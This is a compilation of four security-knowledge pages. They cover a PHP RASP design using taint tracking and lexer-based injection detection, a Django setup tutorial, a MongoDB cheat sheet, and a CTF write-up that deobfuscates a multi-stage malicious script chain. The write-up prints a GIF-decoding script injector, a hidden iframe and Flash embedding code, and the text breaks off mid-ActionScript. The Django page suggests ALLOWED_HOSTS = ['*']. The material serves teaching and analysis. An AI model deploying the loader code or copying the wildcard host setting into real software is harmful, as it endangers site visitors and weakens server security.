在PHP解释器中,全局变量都保存在一个HashTable类型的符号表symbol_table中,包括预定义变量$GLOBALS、$_GET、$_POST等。我们利用变量结构体中的flag中未被使用的一位来标识这个变量是否被污染。在RINIT过程中,我们通过这个方法首先将$_GET,$_POST,$_SERVER等数组中的值标记为污染,这样,我们就完成了污染源的标记。
污染的传播过程其实就是hook对应的函数,在PHP中,可以从两个层面hook函数,一是通过修改zend_internal_function的handler来hook PHP中的内部函数,handler指向的函数用C或者C++编写,可以直接执行。zend_internal_function的结构体如下:
``` c
//zend_complie.h
typedef struct _zend_internal_function {
/* Common elements */
zend_uchar type;
zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
uint32_t fn_flags;
zend_string* function_name;
zend_class_entry *scope;
zend_function *prototype;
uint32_t num_args;
uint32_t required_num_args;
zend_internal_arg_info *arg_info;
/* END of common elements */
void (*handler)(INTERNAL_FUNCTION_PARAMETERS); //函数指针,展开:void (*handler)(zend_execute_data *execute_data, zval *return_value)
struct _zend_module_entry *module;
void *reserved[ZEND_MAX_RESERVED_RESOURCES];
} zend_internal_function;
```
我们可以通过修改zend_internal_function结构体中handler的指向,待完成我们需要的操作后再调用原来的处理函数即可完成hook。 另一种是hook opcode,需要使用zend提供的API zend_set_user_opcode_handler来修改opcode的handler来实现。
我们在MINIT函数中用这两种方法来hook传播污染的函数,如下图所示


当传播污染的函数被调用时,如果这个函数的参数是被污染的,那么把它的返回值也标记成污染。以hook内部函数str_replace函数为例,hook后的`rasp_str_replace` 如下所示
``` c
PHP_FUNCTION(rasp_str_replace)
{
zval *str, *from, *len, *repl;
int tainted = 0;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "zzz|z", &str, &repl, &from, &len) == FAILURE) {
return;
}//取参
if (IS_STRING == Z_TYPE_P(repl) && PHP_RASP_POSSIBLE(repl)) {
tainted = 1;
} else if (IS_STRING == Z_TYPE_P(from) && PHP_RASP_POSSIBLE(from)) {
tainted = 1;
}//判断
RASP_O_FUNC(str_replace)(INTERNAL_FUNCTION_PARAM_PASSTHRU);//调用原函数执行
if (tainted && IS_STRING == Z_TYPE_P(return_value) && Z_STRLEN_P(return_value)) {
TAINT_MARK(Z_STR_P(return_value));
}//污染标记
}
```
首先获取参数,判断参数from和repl是否被污染,如果被污染,将返回值标记为污染,这样就完成污染传播过程。
当被污染的变量作为参数被传入关键函数时,触发关键函数的安全检查代码,这里的实现其实跟上面的类似。PHP的中函数调用都是由三个Zend opcode:ZEND_DO_FCALL,ZEND_DO_ICALL 和 ZEND_DO_FCALL_BY_NAME中某一个opcode来进行的。每个函数的调用都会运行这三个 opcode 中的一个。通过劫持三个 opcode来hook函数调用,就能获取调用的函数和参数。这里我们只需要hook opcode,就是上面第二幅图示意的部分,为了让读者更加清晰,我把它复制下来。

如图,在MINIT方法中,我们利用 Zend API `zend_set_user_opcode_handler` 来hook这三个opcode,监控敏感函数。在PHP内核中,当一个函数通过上述opcode调用时,Zend引擎会在函数表中查找函数,然后返回一个zend_function类型的指针,zend_function的结构如下所示
``` c
union _zend_function {
zend_uchar type; /* MUST be the first element of this struct! */
struct {
zend_uchar type; /* never used */
zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
uint32_t fn_flags;
zend_string *function_name;
zend_class_entry *scope;
union _zend_function *prototype;
uint32_t num_args;
uint32_t required_num_args;
zend_arg_info *arg_info;
} common;
zend_op_array op_array;
zend_internal_function internal_function;
};
```
其中,common.function_name 指向这个函数的函数名,common.scope指向这个方法所在的类,如果一个函数不属于某个类,例如PHP中的fopen函数,那么这个scope的值是null。这样,我们就获取了当前函数的函数名和类名。
以上的行文逻辑是以RASP的角度来看的,先hook opcode和内部函数,来实现动态污点跟踪,然后通过hook函数调用时运行的三个opcode来对监控函数调用。实际上,在PHP内核中,一个函数的调用过程跟以上的行文逻辑是相反的。
当一个函数被调用时,如上文所述,根据这个函数调用的方式不同,例如直接调用或者通过函数名调用,由Zend opcode, ZEND_DO_FCALL,ZEND_DO_ICALL 和 ZEND_DO_FCALL_BY_NAME中的某一个opcode来进行。Zend引擎会在函数表中搜索该函数,返回一个zend_function指针,然后判断zend_function结构体中的type,如果它是内部函数,则通过zend_internal_function.handler来执行这个函数,如果handler已被上述hook方法替换,则调用被修改的handler;如果它不是内部函数,那么这个函数就是用户定义的函数,就调用zend_execute来执行这个函数包含的zend_op_array。
现在我们从RASP的角度和PHP内核中函数执行的角度来看了动态污点跟踪和函数的hook,接下来,我们需要对不同类型的关键函数进行安全检测。
## 基于词法分析的攻击检测
传统WAF和云WAF在针对HTTP Request检测时有哪些方法呢?常见的有正则匹配、规则打分、机器学习等,那么,处于PHP解释器内部的PHP RASP如何检测攻击呢?
首先,我们可以看PHP RASP可以获取哪些数据作为攻击检测的依据。与其他WAF一样,PHP RASP可以获取HTTP请求的Request。不同的是,它还能获取当前执行函数的函数名和参数,以及哪些参数是被污染的。当然,像传统WAF一样,利用正则表达式来作为规则来匹配被污染的函数参数也是PHP RASP检测的一种方法。不过,对于大多数的漏洞,我们采用的是利用词法分析来检测漏洞。准确的来说,对于大多数代码注入漏洞,我们使用词法分析来检测漏洞。
代码注入漏洞,是指攻击者可以通过HTTP请求将payload注入某种代码中,导致payload被当做代码执行的漏洞。例如SQL注入漏洞,攻击者将SQL注入payload插入SQL语句中,并且被SQL引擎解析成SQL代码,影响原SQL语句的逻辑,形成注入。同样,文件包含漏洞、命令执行漏洞、代码执行漏洞的原理也类似,也可以看做代码注入漏洞。
对于代码注入漏洞,攻击者如果需要成功利用,必须通过注入代码来实现,这些代码一旦被注入,必然修改了代码的语法树的结构。而追根到底,语法树改变的原因是词法分析结果的改变,因此,只需要对代码部分做词法分析,判断HTTP请求中的输入是否在词法分析的结果中占据了多个token,就可以判断是否形成了代码注入。
在PHP RASP中,我们通过编写有限状态机来完成词法分析。有限状态机分为确定有限状态机DFA和非确定有限状态机NFA,大多数的词法分析器,例如lex生成的词法分析器,都使用DFA,,因为它简单、快速、易实现。同样,在PHP RASP中,我们也使用DFA来做词法分析。
词法分析的核心是有限状态机,而有限状态机的构建过程比较繁琐,在此不赘述,与编译器中的词法分析不同的是,PHP RASP中词法分析的规则并不一定与这门语言的词法定义一致,因为词法分析器的输出并不需要作为语法分析器的输入来构造语法树,甚至有的时候不必区分该语言的保留字与变量名。
在经过词法分析之后,我们可以得到一串token,每个token都反映了对应的代码片段的性质,以SQL语句
`select username from users where id='1'or'1'='1'`
为例,它对应的token串如下
```
select <reserve word>
username <identifier>
from <reserve word>
users <identifier>
where <reserve word>
id <identifier>
= <sign>
'1' <string>
or <reserve word>
'1' <string>
= <sign>
'1' <string>
```
而如果这个SQL语句是被污染的(只有SQL语句被污染才会进入安全监测这一步),而且HTTP请求中某个参数的值是1'or'1'='1,对比上述token串可以发现,HTTP请求中参数横跨了多个token,这很可能是SQL注入攻击。那么,PHP RASP会将这条HTTP请求判定成攻击,直接阻止执行SQL语句的函数继续运行。如果上述两个条件任一不成立,则通过安全检查,执行SQL语句的函数继续运行。这样就完成了一次HTTP请求的安全检查。其他代码注入类似,当然,不同的代码注入使用的DFA是不一样的,命令注入的DFA是基于shell语法构建的,文件包含的DFA是基于文件路径的词法构建的。
在开发过程中有几个问题需要注意,一个是\0的问题,在C语言中,\0代表一个字符串的结束,因此,在做词法分析或者其他字符串操作过程中,需要重新封装字符串,重写一些字符串的处理函数,否则攻击者可能通过\0截断字符串,绕过RASP的安全检查。
另一个问题是有限状态自动机的DoS问题。在一些非确定有限状态机中,如果这个自动机不接受某个输入,那么需要否定所有的可能性,而这个过程的复杂度可能是2^n。比较常见的例子是正则表达式DoS。在这里不做深入展开,有兴趣的朋友可以多了解一下。
## 讨论
在做完这个RASP之后,我们回头来看看,一些问题值得我们思考和讨论。
RASP有哪些优点呢?作为纵深防御中的一层,它加深了纵深防御的维度,在Web请求发生时,从HTTP Server、Web解释器/编译器到数据库,甚至是操作系统,每一层都有自己的职责,每一层也都是防护攻击的阵地,每一层也都有对应的安全产品,每一层的防护侧重点也都不同。
RASP还有一些比较明显的优点,一是对规则依赖很低,如果使用词法分析做安全检测的话基本不需要维护规则。二是减少了HTTP Server这层攻击面,绕过比较困难,绝大多数基于HTTP Server特性的绕过对RASP无效。例如HPP、HPF、畸形HTTP请求、各种编码、拆分关键字降低评分等。三是误报率比较低。从比较理想的角度来说,如果我的后端代码写得非常安全,WAF看到一个包含攻击payload的请求就拦截,这也属于误报吧。
RASP的缺点也很明显,一是部署问题,需要在每个服务器上部署。二是无法像云WAF这样,可以通过机器学习进化检验规则。三是对服务器性能有影响,但是影响不大。根据我们对PHP RASP做的性能测试结果来看,一般来说,处理一个HTTP请求所消耗的性能中,PHP RASP消耗的占3%左右。
其实,跳出RASP,动态污点跟踪和hook这套技术方案在能做的事情很多,比如性能监控、自动化Fuzz、入侵检测系统、Webshell识别等等。如果各位有什么想法,欢迎和我们交流。
## 参考文献
鸟哥taint https://github.com/laruence/taint
Thinking In PHP Internals
http://php.net
PHP Complier Internals
自动机理论、语言和计算导论
## 关于作者
两位作者水平有限,如文章有错误疏漏,或者有任何想讨论交流的,请随时联系
c0d3p1ut0s c0d3p1ut0s@gmail.com
s1m0n simonfoxcat@gmail.com
## License
在PHP RASP中,我们使用了一部分taint和PHP内核的代码。两者的License都是PHP License。因此,在软件发行过程中,我们将遵守PHP License的相关限制。
|
sec-knowleage
|
# Django
---
## Linux 上安装 Django
- https://www.djangoproject.com/download/
```bash
pip3 install Django
```
**验证**
```bash
python3
import django
django.VERSION
```
---
## Django 管理工具
**django-admin**
```
✦ ❯ django-admin
Type 'django-admin help <subcommand>' for help on a specific subcommand.
Available subcommands:
[django]
check
compilemessages
createcachetable
dbshell
diffsettings
dumpdata
flush
inspectdb
loaddata
makemessages
makemigrations
migrate
runserver
sendtestemail
shell
showmigrations
sqlflush
sqlmigrate
sqlsequencereset
squashmigrations
startapp
startproject
test
testserver
```
---
## 创建项目
```bash
django-admin startproject testweb
```
创建完成后可以查看下项目的目录结构
```bash
cd testweb
tree
├── manage.py
└── testweb
├── asgi.py
├── __init__.py
├── settings.py
├── urls.py
└── wsgi.py
# manage.py: 一个实用的命令行工具,可让你以各种方式与该 Django 项目进行交互。
# testweb: 项目的容器。
# testweb/asgi.py: 一个 ASGI 兼容的 Web 服务器的入口,以便运行你的项目。
# testweb/__init__.py: 一个空文件,告诉 Python 该目录是一个 Python 包。
# testweb/settings.py: Django 项目的设置/配置。
# testweb/urls.py: 该 Django 项目的 URL 声明; 一份由 Django 驱动的网站"目录"。
# testweb/wsgi.py: 一个 WSGI 兼容的 Web 服务器的入口,以便运行你的项目。
```
启动服务器
```bash
python3 manage.py runserver 0.0.0.0:5000
```
**常见问题**
- Django 遇到 Invalid HTTP_HOST header
- 修改 settings.py ALLOWED_HOSTS 值为 `'*'`
```py
ALLOWED_HOSTS = ['*']
```
**视图和 URL 配置**
testweb 目录新建一个 views.py 文件
```py
from django.http import HttpResponse
def hello(request):
return HttpResponse("test1")
```
修改 urls.py
```py
from . import views
urlpatterns = [
path('hello/', views.hello),
]
```
**path() 函数**
Django path() 可以接收四个参数,分别是两个必选参数:route、view 和两个可选参数:kwargs、name。
语法格式:
```
path(route, view, kwargs=None, name=None)
route: 字符串,表示 URL 规则,与之匹配的 URL 会执行对应的第二个参数 view。
view: 用于执行与正则表达式匹配的 URL 请求。
kwargs: 视图使用的字典类型的参数。
name: 用来反向获取 URL。
```
---
## debug
settings.py
```py
DEBUG = False
```
---
## Source & Reference
- https://www.runoob.com/django/django-template.html
- https://www.runoob.com/django/django-model.html
- https://www.runoob.com/django/django-views.html
|
sec-knowleage
|
---
title: MongoDB
date: 2023-04-05
background: bg-gradient-to-r from-green-900 via-green-600 to-green-400 hover:from-green-900 hover:via-green-700 hover:to-green-500
tags:
- NoSQL
- DB
categories:
- Database
intro: The MongoDB cheat sheet provides you with the most commonly used MongoDB commands and queries for your reference. the cheatsheet is from mongodb developers website
plugins:
- tooltip
- copyCode
---
## Getting Started {.cols-2}
### Connect MongoDB Shell
```mongosh
mongo # connects to mongodb://127.0.0.1:27017 by default
```
```mongosh
mongo --host <host> --port <port> -u <user> -p <pwd> # omit the password if you want a prompt
```
```mongosh
mongo "mongodb://192.168.1.1:27017"
```
```mongosh
mongo "mongodb+srv://cluster-name.abcde.mongodb.net/<dbname>" --username <username> # MongoDB Atlas
```
### Helpers
show dbs :
```mongosh
db // prints the current database
```
Switch database :
```mongosh
use <database_name>
```
Show collections :
```mongosh
show collections
```
Run JavaScript file :
```mongosh
load("myScript.js")
```
---
## Crud
### Create
```mongosh
db.coll.insertOne({name: "Max"})
db.coll.insert([{name: "Max"}, {name:"Alex"}]) // ordered bulk insert
db.coll.insert([{name: "Max"}, {name:"Alex"}], {ordered: false}) // unordered bulk insert
db.coll.insert({date: ISODate()})
db.coll.insert({name: "Max"}, {"writeConcern": {"w": "majority", "wtimeout": 5000}})
```
### Delete
```mongosh
db.coll.remove({name: "Max"})
db.coll.remove({name: "Max"}, {justOne: true})
db.coll.remove({}) // WARNING! Deletes all the docs but not the collection itself and its index definitions
db.coll.remove({name: "Max"}, {"writeConcern": {"w": "majority", "wtimeout": 5000}})
db.coll.findOneAndDelete({"name": "Max"})
```
### Update
```mongosh
db.coll.update({"_id": 1}, {"year": 2016}) // WARNING! Replaces the entire document
db.coll.update({"_id": 1}, {$set: {"year": 2016, name: "Max"}})
db.coll.update({"_id": 1}, {$unset: {"year": 1}})
db.coll.update({"_id": 1}, {$rename: {"year": "date"} })
db.coll.update({"_id": 1}, {$inc: {"year": 5}})
db.coll.update({"_id": 1}, {$mul: {price: NumberDecimal("1.25"), qty: 2}})
db.coll.update({"_id": 1}, {$min: {"imdb": 5}})
db.coll.update({"_id": 1}, {$max: {"imdb": 8}})
db.coll.update({"_id": 1}, {$currentDate: {"lastModified": true}})
db.coll.update({"_id": 1}, {$currentDate: {"lastModified": {$type: "timestamp"}}})
```
### Array { .row-span-2 }
```mongosh
db.coll.update({"_id": 1}, {$push :{"array": 1}})
db.coll.update({"_id": 1}, {$pull :{"array": 1}})
db.coll.update({"_id": 1}, {$addToSet :{"array": 2}})
db.coll.update({"_id": 1}, {$pop: {"array": 1}}) // last element
db.coll.update({"_id": 1}, {$pop: {"array": -1}}) // first element
db.coll.update({"_id": 1}, {$pullAll: {"array" :[3, 4, 5]}})
db.coll.update({"_id": 1}, {$push: {scores: {$each: [90, 92, 85]}}})
db.coll.updateOne({"_id": 1, "grades": 80}, {$set: {"grades.$": 82}})
db.coll.updateMany({}, {$inc: {"grades.$[]": 10}})
db.coll.update({}, {$set: {"grades.$[element]": 100}}, {multi: true, arrayFilters: [{"element": {$gte: 100}}]})
```
### Update many { .row-span-1 }
```mongosh
db.coll.update({"year": 1999}, {$set: {"decade": "90's"}}, {"multi":true})
db.coll.updateMany({"year": 1999}, {$set: {"decade": "90's"}})
```
### FindOneAndUpdate { .row-span-1 }
```mongosh
db.coll.findOneAndUpdate({"name": "Max"}, {$inc: {"points": 5}}, {returnNewDocument: true})
```
### Upsert { .row-span-1 }
```mongosh
db.coll.update({"_id": 1}, {$set: {item: "apple"}, $setOnInsert: {defaultQty: 100}}, {upsert: true})
```
### Replace { .row-span-1 }
```mongosh
db.coll.replaceOne({"name": "Max"}, {"firstname": "Maxime", "surname": "Beugnet"})
```
### Save { .row-span-1 }
```mongosh
db.coll.save({"item": "book", "qty": 40})
```
### Write concern { .row-span-1 }
```mongosh
db.coll.update({}, {$set: {"x": 1}}, {"writeConcern": {"w": "majority", "wtimeout": 5000}})
```
### Find { .row-span-2 }
```mongosh
db.coll.findOne() // returns a single document
db.coll.find() // returns a cursor - show 20 results - "it" to display more
db.coll.find().pretty()
db.coll.find({name: "Max", age: 32}) // implicit logical "AND".
db.coll.find({date: ISODate("2020-09-25T13:57:17.180Z")})
db.coll.find({name: "Max", age: 32}).explain("executionStats") // or "queryPlanner" or "allPlansExecution"
db.coll.distinct("name")
```
### Count
```mongosh
db.coll.count({age: 32}) // estimation based on collection metadata
db.coll.estimatedDocumentCount() // estimation based on collection metadata
db.coll.countDocuments({age: 32}) // alias for an aggregation pipeline - accurate count
```
### Comparison
```mongosh
db.coll.find({"year": {$gt: 1970}})
db.coll.find({"year": {$gte: 1970}})
db.coll.find({"year": {$lt: 1970}})
db.coll.find({"year": {$lte: 1970}})
db.coll.find({"year": {$ne: 1970}})
db.coll.find({"year": {$in: [1958, 1959]}})
db.coll.find({"year": {$nin: [1958, 1959]}})
```
### Logical
```mongosh
db.coll.find({name:{$not: {$eq: "Max"}}})
db.coll.find({$or: [{"year" : 1958}, {"year" : 1959}]})
db.coll.find({$nor: [{price: 1.99}, {sale: true}]})
db.coll.find({
$and: [
{$or: [{qty: {$lt :10}}, {qty :{$gt: 50}}]},
{$or: [{sale: true}, {price: {$lt: 5 }}]}
]
})
```
### Element
```mongosh
db.coll.find({name: {$exists: true}})
db.coll.find({"zipCode": {$type: 2 }})
db.coll.find({"zipCode": {$type: "string"}})
```
### Aggregation Pipeline
```mongosh
db.coll.aggregate([
{$match: {status: "A"}},
{$group: {_id: "$cust_id", total: {$sum: "$amount"}}},
{$sort: {total: -1}}
])
```
### Text search with a "text" index
```mongosh
db.coll.find({$text: {$search: "cake"}}, {score: {$meta: "textScore"}}).sort({score: {$meta: "textScore"}})
```
### Regex
```mongosh
db.coll.find({name: /^Max/}) // regex: starts by letter "M"
db.coll.find({name: /^Max$/i}) // regex case insensitive
```
### Array
```mongosh
db.coll.find({tags: {$all: ["Realm", "Charts"]}})
db.coll.find({field: {$size: 2}}) // impossible to index - prefer storing the size of the array & update it
db.coll.find({results: {$elemMatch: {product: "xyz", score: {$gte: 8}}}})
```
### Projections
```mongosh
db.coll.find({"x": 1}, {"actors": 1}) // actors + \_id
db.coll.find({"x": 1}, {"actors": 1, "\_id": 0}) // actors
db.coll.find({"x": 1}, {"actors": 0, "summary": 0}) // all but "actors" and "summary"
```
### Sort, skip, limit
```mongosh
db.coll.find({}).sort({"year": 1, "rating": -1}).skip(10).limit(3)
```
### Read Concern
```mongosh
db.coll.find().readConcern("majority")
```
## Databases and Collections { .cols-2 }
### Drop { .row-span-1 }
```mongosh
db.coll.drop() // removes the collection and its index definitions
db.dropDatabase() // double check that you are *NOT* on the PROD cluster... :-)
```
### Create Collection { .row-span-2}
```mongosh
db.createCollection("contacts", {
validator: {$jsonSchema: {
bsonType: "object",
required: ["phone"],
properties: {
phone: {
bsonType: "string",
description: "must be a string and is required"
},
email: {
bsonType: "string",
pattern: "@mongodb\.com$",
description: "must be a string and match the regular expression pattern"
},
status: {
enum: [ "Unknown", "Incomplete" ],
description: "can only be one of the enum values"
}
}
}}
})
```
### Other Collection Functions { .row-span-1}
```mongosh
db.coll.stats()
db.coll.storageSize()
db.coll.totalIndexSize()
db.coll.totalSize()
db.coll.validate({full: true})
db.coll.renameCollection("new_coll", true) // 2nd parameter to drop the target collection if exists
```
## Indexes {.cols-2}
### Basics
#### List
```mongosh
db.coll.getIndexes()
db.coll.getIndexKeys()
```
#### Drop Indexes
```mongosh
db.coll.dropIndex("name_1")
```
#### Hide/Unhide Indexes
```mongosh
db.coll.hideIndex("name_1")
db.coll.unhideIndex("name_1")
```
### Create Indexes
```mongosh
// Index Types
db.coll.createIndex({"name": 1}) // single field index
db.coll.createIndex({"name": 1, "date": 1}) // compound index
db.coll.createIndex({foo: "text", bar: "text"}) // text index
db.coll.createIndex({"$**": "text"}) // wildcard text index
db.coll.createIndex({"userMetadata.$**": 1}) // wildcard index
db.coll.createIndex({"loc": "2d"}) // 2d index
db.coll.createIndex({"loc": "2dsphere"}) // 2dsphere index
db.coll.createIndex({"_id": "hashed"}) // hashed index
// Index Options
db.coll.createIndex({"lastModifiedDate": 1}, {expireAfterSeconds: 3600}) // TTL index
db.coll.createIndex({"name": 1}, {unique: true})
db.coll.createIndex({"name": 1}, {partialFilterExpression: {age: {$gt: 18}}}) // partial index
db.coll.createIndex({"name": 1}, {collation: {locale: 'en', strength: 1}}) // case insensitive index with strength = 1 or 2
db.coll.createIndex({"name": 1 }, {sparse: true})
```
## Others { .cols-2 }
### Handy commands { .row-span-3 }
```mongosh
use admin
db.createUser({"user": "root", "pwd": passwordPrompt(), "roles": ["root"]})
db.dropUser("root")
db.auth( "user", passwordPrompt() )
use test
db.getSiblingDB("dbname")
db.currentOp()
db.killOp(123) // opid
db.fsyncLock()
db.fsyncUnlock()
db.getCollectionNames()
db.getCollectionInfos()
db.printCollectionStats()
db.stats()
db.getReplicationInfo()
db.printReplicationInfo()
db.isMaster()
db.hostInfo()
db.printShardingStatus()
db.shutdownServer()
db.serverStatus()
db.setSlaveOk()
db.getSlaveOk()
db.getProfilingLevel()
db.getProfilingStatus()
db.setProfilingLevel(1, 200) // 0 == OFF, 1 == ON with slowms, 2 == ON
db.enableFreeMonitoring()
db.disableFreeMonitoring()
db.getFreeMonitoringStatus()
db.createView("viewName", "sourceColl", [{$project:{department: 1}}])
```
### Replica Set { .row-span-2}
```mongosh
rs.status()
rs.initiate({"_id": "replicaTest",
members: [
{ _id: 0, host: "127.0.0.1:27017" },
{ _id: 1, host: "127.0.0.1:27018" },
{ _id: 2, host: "127.0.0.1:27019", arbiterOnly:true }]
})
rs.add("mongodbd1.example.net:27017")
rs.addArb("mongodbd2.example.net:27017")
rs.remove("mongodbd1.example.net:27017")
rs.conf()
rs.isMaster()
rs.printReplicationInfo()
rs.printSlaveReplicationInfo()
rs.reconfig(<valid_conf>)
rs.slaveOk()
rs.stepDown(20, 5) // (stepDownSecs, secondaryCatchUpPeriodSecs)
```
### Sharded Cluster { .row-span-2 }
```mongosh
sh.status()
sh.addShard("rs1/mongodbd1.example.net:27017")
sh.shardCollection("mydb.coll", {zipcode: 1})
sh.moveChunk("mydb.coll", { zipcode: "53187" }, "shard0019")
sh.splitAt("mydb.coll", {x: 70})
sh.splitFind("mydb.coll", {x: 70})
sh.disableAutoSplit()
sh.enableAutoSplit()
sh.startBalancer()
sh.stopBalancer()
sh.disableBalancing("mydb.coll")
sh.enableBalancing("mydb.coll")
sh.getBalancerState()
sh.setBalancerState(true/false)
sh.isBalancerRunning()
sh.addTagRange("mydb.coll", {state: "NY", zip: MinKey }, { state: "NY", zip: MaxKey }, "NY")
sh.removeTagRange("mydb.coll", {state: "NY", zip: MinKey }, { state: "NY", zip: MaxKey }, "NY")
sh.addShardTag("shard0000", "NYC")
sh.removeShardTag("shard0000", "NYC")
sh.addShardToZone("shard0000", "JFK")
sh.removeShardFromZone("shard0000", "NYC")
sh.removeRangeFromZone("mydb.coll", {a: 1, b: 1}, {a: 10, b: 10})
```
### Change Streams {.row-span-1 }
```mongosh
watchCursor = db.coll.watch( [ { $match : {"operationType" : "insert" } } ] )
while (!watchCursor.isExhausted()){
if (watchCursor.hasNext()){
print(tojson(watchCursor.next()));
}
}
```
|
sec-knowleage
|
## Offensive 400 (Offensive, 400p)
###ENG
[PL](#pl-version)
Challenge starts on webpage which doesn't contain anything (or it looks like this). But after looking at the source code we spot interesting javacript file (named "ads.js"). After deobfuscation it looked like this:
```javascript
var mnt = function() {
window.host = location.host;
window.scheme = 'http://';
window.getLicenseUrl = function() {
console.log('getting lic url')
var ax = document.getElementsByTagName('img');
for (var i = 0; i < ax.length; i++) {
if (-1 < ax[i].src.indexOf(host)) {
return "http://" + host + "/images/creature.html?adv=900485&o=7927932&m=844431838&creature=629999&yf=INfzIJzt9bRSOkjD&click=${CLICK_URL_ENC}&type=js&pub=openxnat_1569894390&ord=1450370740864";
}
}
};
callbackOnLoad = function() {
console.log('callback');
var ax = xtr.responseText,
mn = '/1/',
cm = '%';
var data = unescape(ax.substr(3 + ax.indexOf(mn)).replace(/[\S]{3}/g, function(b) {
return cm + String.fromCharCode(b.charCodeAt(1) ^ ((scheme.length+1) * 6)) + b[2];
}));
var sta = document.createElement('sc' + 'rip' + 't');
sta.innerHTML = data;
document.body.appendChild(sta);
};
licenseRequest = function(command) {
try {
console.log('lic request');
new ActiveXObject(command).GetLicenseFromURL([], getLicenseUrl().replace(scheme, 'http://'))
} catch (et) {
return et.number + ''
}
};
suspicious = function() {
with (xtr = (window.XDomainRequest && (new XDomainRequest) || (new XMLHttpRequest)))
open('get', scheme + host + '/images/9J2bkcUJHUTTnOmcd56DXVmz.gif' + '?t=' + (new Date).getTime() + '&id=M8XIgp9526a9'), onload = callbackOnLoad, send()
};
document.security && 1 && suspicious();
};
mnt();
```
The file was bigger than that, but rest of file wasn't interesting. And I removed licence checking (with function 'licenseRequest'), because it wasn't letting me through. By the way, this code could work only under IE (because of ActiveXObject use).
Either way we can see that finally `<script>` element is created, and some decrypted data is put into it (gif is downloaded from fixed path, and than data is extracted from it).
I tried to decrypt that gif "manually" with python at first, but quickly I decided to do something simpler and I just replaced `sta.innerHTML = data` to `console.log(data)`.
Thanks to this, I reached second stage.
It looked like this:
```javascript
function getA(key) {
return "3789d132";
}
function getB(key) {
return "111780a7";
}
function getC(key) {
return "fbff29";
}
function getD(key) {
return "b2914faca2";
}
function main(func, idToProcess) {
func(idToProcess)
}
var LvPmn, BisnmljH, window, JEUMZ;
gWRqmBVp = 'd';
var realMain =
(function(idToProcess) {
TOu8g = kode;
UA = 'asdfasdfasdf';
if ((/(MSIE\ [0-7]\.\d+)/).test(UA)) {
TOu8g = TOu8g.slice(0, -1);
}
TOu8g = TOu8g['replace'](/\s/g, '');
plZla = kfSH(TOu8g, LvPmn);
delete TOu8g;
TOu8g = "";
eval(plZla);
});
LvPmn = 'oXUX5XqXRXoXGXfX';
function kfSH(YP, sr4ze) {
var YLvEoLp = "";
for (var i = 0; i < YP.length / 16; i++) {
var HQDBqAdIqAP = RZTN(YP.substr((i*16), (i+1)*16), sr4ze);
YLvEoLp += uyGi(parseInt(HQDBqAdIqAP.substr(8,8),16)) + uyGi(parseInt(HQDBqAdIqAP.substr(0,8),16));
}
return unescape(YLvEoLp);
}
function RZTN(SKOx, GHk7) {
ret = "";
for (var i = 0; i < SKOx.length; i+=2) {
ret += (parseInt(SKOx.charAt(i) + SKOx.charAt(i+1), 16) ^ GHk7.charCodeAt(i)).toString(16);
}
return ret;
}
function tPC(nojMia) {
var SKOx = nojMia.charCodeAt(0) + (nojMia.charCodeAt(1) << 8) + (nojMia.charCodeAt(2) << 16) + (nojMia.charCodeAt(3) << 24);
return isNaN(SKOx) ? 0 : SKOx;
}
function uyGi(SKOx) {
var nojMia = String.fromCharCode(SKOx & 255, SKOx >> 8 & 255, SKOx >> 16 & 255, SKOx >> 24 & 255);
return nojMia;
}
main(realMain, 'oU5qRoGfenAszlAOKYBE')
```
This code is after small deobfuscation (I changed few function names, did beautification, etc) and cut few checks. Similary to previous stage, it was enough to cut few checks and add `console.log(plZla)` instead of `eval(plZla)`. Thanks to this I reached another stage.
```javascript
if (document.referrer != "") {
var iframe = document.createElement("iframe");
iframe.src = "depress-choose-opportunity-staircase.html";
iframe.frameBorder = 0;
iframe.width = "1";
iframe.height = "1";
document.body.appendChild(iframe);
};
```
This code is after serious deobfuscation and beautification. As you can see, This code only creates ifrema with `depress-choose-opportunity-staircase.html` injected.
So, what can we find under this address?
Something like this:
```javascript
window['gWRqmBVp'] = '1';
function xWait(xT) {
var date = new Date();
var tmpDate = null;
do {
tmpDate = new Date();
} while (tmpDate - date < xT);
}
function xTrueA() {
if (navigator.userAgent.indexOf('TMCTF') == -1 && navigator.appVersion.indexOf('ctf/') == -1) {
return;
}
if (!!window.__IE_DEVTOOLBAR_CONSOLE_COMMAND_LINE || ('__BROWSERTOOLS_CONSOLE_SAFEFUNC' in window)) {
return;
}
var mirtul = '1',
ci = 'clsid:';
var txt = '<object classid="' + ci + 'd27cdb6e-ae6d-11cf-96b8-444553540000" allowScriptAccess="always" width="1" height="1" id="23kjsdf">';
txt = txt + '<param name="movie" value="swf/YWxUdHVpZm9uaQbmV6dndo.swf" />';
txt = txt + '<param name="play" value="true"/>';
txt = txt + '<param name="FlashVars" value="a=' + getA("EkRlsOP") + '&b=' + getB("KslLNbQsY") + '&c=' + getC("MpRuyAZx") + '&d=' + getD("QetIoPZ") + '" />';
txt = txt + '<!--[if !IE]>-->';
txt = txt + '<object type="application/x-shockwave-flash" data="swf/YWxUdHVpZm9uaQbmV6dndo.swf" allowScriptAccess=always width="1" height="1">';
txt = txt + '<param name="movie" value="swf/YWxUdHVpZm9uaQbmV6dndo.swf" />';
txt = txt + '<param name="play" value="true"/>';
txt = txt + '<param name="FlashVars" value="a=' + getA("EkRlsOP") + '&b=' + getB("KslLNbQsY") + '&c=' + getC("MpRuyAZx") + '&d=' + getD("QetIoPZ") + '" />';
txt = txt + '<!--<![endif]-->';
txt = txt + '<!--[if !IE]>--></object><!--<![endif]-->';
txt = txt + '</object>';
try {;
} catch (e) {}
document.getElementsByTagName("q")[2].innerHTML = txt;
}
xTrueA();
xWait(1200);
```
Again, this is code after my deobfustation and beautification. So, as you can see, another javascript is being injected. There is some checks (i just removed them) and then some `<object>` is
pasted into source code. So I downloaded that flash and decompiled. Most interesting fragment of it was:
```actionscript
package tmctf {
import flash.events.*;
import flash.utils.*;
import flash.display.*;
public class Main extends Sprite {
private var lIIl11l:Class;
public function Main(){
this.lIIl11l = Main_lIIl11l;
super();
if (stage){
this.init();
} else {
addEventListener(Event.ADDED_TO_STAGE, this.init);
};
}
private function init(_arg1:Event=null):void{
var _local2:Object = LoaderInfo(this.root.loaderInfo).parameters.a;
var _local3:Object = LoaderInfo(this.root.loaderInfo).parameters.b;
var _local4:Object = LoaderInfo(this.root.loaderInfo).parameters.c;
var _local5:Object = LoaderInfo(this.root.loaderInfo).parameters.d;
